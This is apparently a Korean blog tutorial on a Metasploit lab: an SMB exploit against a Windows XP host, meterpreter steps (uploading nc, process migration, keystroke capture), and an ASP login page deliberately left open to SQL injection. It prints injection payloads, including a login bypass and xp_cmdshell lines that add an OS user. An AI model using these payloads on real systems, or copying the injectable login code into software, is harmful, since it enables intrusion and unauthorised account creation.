본문 바로가기
  • Survival Plan
IT 이야기/보안 이야기

메타스플로잇 (metasploit) 맛보기

by IT/머신러닝 엔지니어의 독서/경제/육아 공부 리치윈드 - windFlex 2020. 3. 10.

메타스플로잇을 활용한 간략한 보안 테스트를 진행해 보자.

 

ㅇ XP: 192.168.182.152 (Victim)

ㅇ backtrack : 192.168.182.151 (Attacker)

 

 

 

SMB (Server Message Block) 취약점 활용  메타스플로잇 테스트

 - 이기종 간 파일전송을 위해 만들어진 프로토콜이지만, 최근에는 프린터와 통신을 위해서 사용되고 있음

 

 

SMB 버전 및 취약점이 있는지 확인하는 module을 실행한다. 

 

 

SMB 취약점이 존재하므로, 관련된 Exploit 를 실행하고, 연결할 수 있는 payload를 실행한다. 

 

 

 

exploit 실행

 

meterpreter에서 추가 모듈 로드 (ex. load sniffer ) 후, 현재 로딩된 모듈 확인 (ex. load -l)

 

현재 Running 되고 있는 pid를 확인하고, 확인된 PID가 누구인지 확인 (ps 명령어)

 

 

파일을 업로드 해본다. (nc를 올려보는 예제..)

 

 

 

Meterpreter에서 실행을 해도, 실제 Victim (XP) 화면에서는 실행이 되지 않는다. 

이 이유는, 현재 Parents는 SVCHOST로 GUI 라이브러리를 포함하지 않고 있다. (User32.dll)

따라서, User32.dll을 포함하고 있는... (기본 Shell을 포함하고 있는 ) Explorer.exe로 Parents 프로세스를 옮겨보자.

 - Migrate <explorer.exe의 PID>

 

 

Process Migrate 이후, 다시 nc를 실행하면, Victim의 화면에 nc 실행창이 뜨는 것을 확인할 수 있다. 

 

[Keystroke 관련]

 

 

[실행중인 프로세스 끄기]

 

 - 대상 프로세스 PID : 3332

 

 

 

 

[서버 Exploits]

 

 예제) Microsoft SQL Server Payload Execution  (mssql_payload_sqli)

 

 

 

 ID : ' union select 1,1 --
 PW : 1

 

[소스 코드]

<%

id = Trim(request("id"))

password = Trim(request("password"))

Tblname = "login_test"



Dim strConnect, dbCon, rs

strConnect = "Provider=SQLOLEDB;Data Source=(local);Initial Catalog=testOK;User ID=sa;Password=raon0011;"

set dbCon = Server.CreateObject ("ADODB.Connection")

dbCon.Open strConnect



QUERY = "SELECT id, password FROM " & Tblname & " WHERE UPPER(id)='"& UCase(id) &"'"



SET rs = dbCon.execute(QUERY)

If ( rs.bof OR rs.eof ) Then

response.write "<script>alert('Error.!\n\nID!');history.go(-1);</script>"

Else

If Trim(rs("password")) <> password Then

response.write "<script>alert('Error.\n\nPassword!');history.go(-1);</script>"

Else

session("id") = trim(rs("id"))

rs.close

Set rs= Nothing



dbCon.Close

Set dbCon= Nothing



response.write "Login OK"

End If



End If

%>

 

[xp_cmdshell]

'; exec master..xp_cmdshell 'mkdir c:\kkk';--

';exec master..xp_cmdshell 'net user whitehat /add';--

 

 

 

 

 

 

 

exploit 실행

 

 

 

 

FASTTRAck-interface를 실행하고, 아래와 같이 입력.

 

http://192.168.182.152/loginCheck.asp?id='INJECTHERE+union+select+1%2C1--&password=1&x=36&y=29

 

 

댓글0